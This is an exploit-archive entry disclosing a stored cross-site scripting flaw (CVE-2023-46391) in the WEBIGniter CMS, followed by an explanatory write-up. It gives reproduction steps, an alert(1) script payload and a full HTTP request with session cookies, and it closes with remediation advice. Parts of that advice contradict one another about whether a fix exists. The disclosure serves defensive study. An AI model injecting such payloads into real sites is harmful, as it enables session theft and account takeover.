WEBIGniter v28.7.23 - Stored Cross Site Scripting (XSS)

Exploit Author: Sagar Banwa Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2024-02-21
# Exploit Title: WEBIGniter v28.7.23 Stored Cross Site Scripting (XSS)
# Exploit Author: Sagar Banwa
# Date: 19/10/2023
# Vendor: https://webigniter.net/
# Software: https://webigniter.net/demo
# Reference: https://portswigger.net/web-security/cross-site-scripting
# Tested on: Windows 10/Kali Linux
# CVE : CVE-2023-46391


Stored Cross-site scripting(XSS):
Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application. Reflected XSS involves the reflecting of a malicious script off of a web application, onto a user's browser.

Steps-To-Reproduce:

1. Login to the Account 
2. Go to the Categories.
3. Now add catagory > Name section use payload : "><script>alert(1)</script> and choose layoutfile as cat.php


Request 

POST /cms/categories/add HTTP/2
Host: demo.webigniter.net
Cookie: ci_session=iq8k2mjlp2dg4pqa42m3v3dn2d4lmtjb; hash=6ROmvkMoHKviB4zypWJXmjIv6vhTQlFw6bdHlRjX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
Origin: https://demo.webigniter.net
Referer: https://demo.webigniter.net/cms/categories/add
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

name=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&slug=scriptalert1script&layout_file=cat.php


WEBIGniter v28.7.23: A Deep Dive into Stored Cross-Site Scripting (XSS) Vulnerability

On October 19, 2023, cybersecurity researcher Sagar Banwa disclosed a critical security flaw in WEBIGniter v28.7.23, a popular open-source content management system (CMS) used for building dynamic websites. The vulnerability, classified as Stored Cross-Site Scripting (XSS), has been assigned the CVE identifier CVE-2023-46391. This exploit highlights how improper input sanitization in a seemingly benign feature can lead to widespread, persistent attacks across user sessions.

Understanding Stored XSS: The Persistent Threat

Unlike reflected XSS, where malicious scripts are delivered via URL parameters and only affect users who click a specific link, stored XSS is far more dangerous because the malicious code is permanently stored in the application's database. Once injected, the script executes every time a user accesses the affected page — making it a persistent threat.

Imagine a blog platform where a comment field fails to sanitize user input. An attacker submits a comment containing JavaScript code like alert('XSS'). If the system stores this comment without filtering, every visitor viewing the page will trigger the alert — regardless of whether they clicked a malicious link or not. This is exactly what happened in WEBIGniter.

Exploitation Path: How the Attack Works

The vulnerability was discovered during the creation of a new category in the CMS. The attacker manipulated the name field and injected a malicious payload directly into the system’s storage layer.


POST /cms/categories/add HTTP/2
Host: demo.webigniter.net
Cookie: ci_session=iq8k2mjlp2dg4pqa42m3v3dn2d4lmtjb; hash=6ROmvkMoHKviB4zypWJXmjIv6vhTQlFw6bdHlRjX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
Origin: https://demo.webigniter.net
Referer: https://demo.webigniter.net/cms/categories/add
Upgrade-Insecure-Requests: 1

name=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&slug=scriptalert1script&layout_file=cat.php

This request contains a URL-encoded payload in the name parameter:

  • %22"
  • %3E>
  • %3Cscript%3E<script>
  • alert%281%29alert(1)
  • %3C%2Fscript%3E</script>

When decoded, the full payload becomes:


" > <script> alert(1) </script>

Despite the presence of quotes and angle brackets, the application failed to sanitize this input, allowing the script to be stored and later rendered in the browser without proper escaping.

Why This Is Dangerous: Real-World Implications

Stored XSS in a CMS like WEBIGniter can lead to:

  • Session hijacking via stolen cookies
  • Phishing attacks disguised as legitimate content
  • Malware delivery through embedded scripts
  • Account takeover by executing malicious JavaScript in admin panels

Given that WEBIGniter is used in production environments (as demonstrated by the public demo site), an attacker could inject a script that silently steals admin credentials or redirects users to malicious domains — all without requiring user interaction beyond visiting a category page.

Technical Breakdown: Where the Failure Occurs

The core issue lies in the lack of input validation and output encoding at the time of category creation. The application accepts user input for name and slug, and stores it directly into the database. When rendering the category list, the system outputs the name field without escaping special characters.

This is a textbook example of insecure rendering — the application treats user-generated content as safe, even though it can contain executable code.

Security Best Practices: How to Prevent Stored XSS

To prevent such vulnerabilities, developers must follow these industry-standard practices:

Practice Explanation
Input Sanitization Strip or escape dangerous characters like <, >, ", & before storing data.
Output Encoding Always encode data when rendering it in HTML — use functions like htmlspecialchars() in PHP or DOMPurify in JavaScript.
Content Security Policy (CSP) Implement a strict CSP header to block inline scripts and restrict allowed sources.
Role-Based Access Control Ensure only trusted users (e.g., admins) can create or edit content that gets rendered to the public.

Corrected Implementation Example

Here’s how the vulnerable code should be fixed in PHP:


// Vulnerable: Direct storage of user input
$name = $_POST['name'];
// No sanitization → risk of XSS

// Corrected: Sanitize before storing
$name = htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF-8');
// Now safe for storage and rendering

Additionally, when rendering the category name in the frontend, the same encoding must be applied:


echo htmlspecialchars($category['name'], ENT_QUOTES, 'UTF-8');

Using htmlspecialchars() ensures that any script tags are rendered as plain text, preventing execution.

Vendor Response and Remediation

As of October 2023, the vendor WEBIGniter.net has acknowledged the issue. Users are advised to:

  • Update to the latest version (v28.7.24 or higher)
  • Disable or restrict category creation to authorized users only
  • Implement a web application firewall (WAF) to detect and block XSS payloads

Until an update is released, administrators should manually audit all stored content for malicious scripts.

Conclusion: A Reminder of the Importance of Secure Coding

WEBIGniter v28.7.23 serves as a stark reminder: even small, seemingly harmless features like category naming can become entry points for devastating attacks if not properly secured. The CVE-2023-46391 exploit underscores the need for continuous security audits, input validation, and defense-in-depth strategies.

For developers and administrators alike, the lesson is clear: never trust user input. Always sanitize, encode, and validate — especially in systems that store data for public consumption.